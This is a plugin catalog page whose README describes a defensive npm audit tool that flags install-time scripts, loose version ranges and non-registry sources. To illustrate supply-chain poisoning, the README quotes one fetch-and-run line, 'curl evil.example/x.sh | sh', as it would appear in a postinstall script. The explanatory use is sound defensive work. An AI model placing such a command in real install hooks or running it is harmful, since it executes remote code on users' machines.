DSH HUB
HomePlugin StorePlugin PacksCommunityRankingsResourcesPublish Guide
Plugin source
Back to catalog

feely0208 /

feely0208/dsh-dep-audit

Verified

检查依赖树的投毒与风险面:装包即执行的脚本、过宽版本、非 registry 来源

★ 1 Stars0 Forks0 IssuesN/A Community rating0 Confirmed installs
View on GitHubProject homepage
READMESource: main@e5510763

@deepwhale-cn/dsh-dep-audit

dshfind 收录

Listed on dsh-plugin.org

防供应链攻击与恶意依赖:装包即执行的脚本、过宽版本、非 registry 来源,都在这一条命令里查完。

关键词:依赖投毒 · 供应链攻击 · 恶意依赖 · npm 投毒 · postinstall 脚本 · 供应链安全 · 依赖审计 Keywords: dependency poisoning · supply chain attack · malicious package · npm supply chain · postinstall script 依赖投毒与风险 —— 装包即执行的脚本、过宽版本、非 registry 来源。

不装它会怎样

你 npm install 了一个看起来正常的包。

它的 postinstall 脚本里有一行 curl evil.example/x.sh | sh —— 在你装它的那一刻就执行了,你甚至没在代码里 import 过它。

近年的大规模 npm 投毒事件(event-stream、ua-parser-js、node-ipc、colors/faker)全是这条路。

它查什么

级别 内容
🔴 高 依赖带 install/postinstall 脚本
🟡 中 没有 lockfile · 版本用 */latest · git/http 来源
🟢 低 >=x.y.z 无上界

安装

dsh plugin --profile web add @deepwhale-cn/dsh-dep-audit
# 或纯 CLI
npx @deepwhale-cn/dsh-dep-audit

用法

dsh-dep-audit                 # 扫当前目录
dsh-dep-audit --demo          # 看检出效果
dsh-dep-audit --html r.html   # HTML 报告

dsh-dep-audit 检查报告示例

dsh-dep-audit 演示模式输出

dsh-dep-audit 规则与依据

边界

  • 带 install 脚本 ≠ 恶意 —— esbuild/sharp/puppeteer 这类必须有,已在白名单里。 报出来的需要你人工确认。
  • 不查 CVE 漏洞库、不做包名相似度检测(typosquat 误报率高)。

本插件是一个工具。使用者必须遵守所在地区法律法规,对使用本项目造成的任何后果自行承担责任。


深鲸网安守护系列(共 39 个)

一个插件做一件事。安全问题是链式的 —— 配套用才完整。

国内合规(12)| 等保对照 · 日志留存 · 备案公示 · 用户同意 · 个人信息权利 · 未成年人保护 · 影响评估 · 数据分类分级 · 算法备案 · 数据出境 · 国密合规 · AI 内容标识

AI 与 Agent 治理(6)| AI 输出信任 · 外部内容信任 · MCP 安全 · Agent 权限 · 策略核对 · 可疑指令

数据与凭据(5)| 敏感数据 · 密钥轮换 · 数据留存 · 配置审计 · 密钥扫描

供应链与构建(5)| 开源许可 · 依赖投毒 · CI 安全 · 工具审查 · 物料清单

权限与应急(3)| 最小权限 · 告警外发 · 应急证据包

行业专项(4)| 医疗行业专项 · 教育行业专项 · 金融行业专项 · 地方数据条例

编排与交付(4)| 一键体检 · 改前改后复核 · 合规可交付文档 · 整改建议

都在 DSH 插件市场(dsh-plugin.org)、npm 和 deepwhale.org.cn/guard.html 上。


powered by dwh

—/ 5

No ratings yet

Verified DSH bundle

Commit e5510763d423

Community comments

No comments yet. Be the first to write one.

DSH HUB

A community index for DSH plugins. Not an official GitHub or DeepSeek AI product.

CommunityResourcesAPIAbout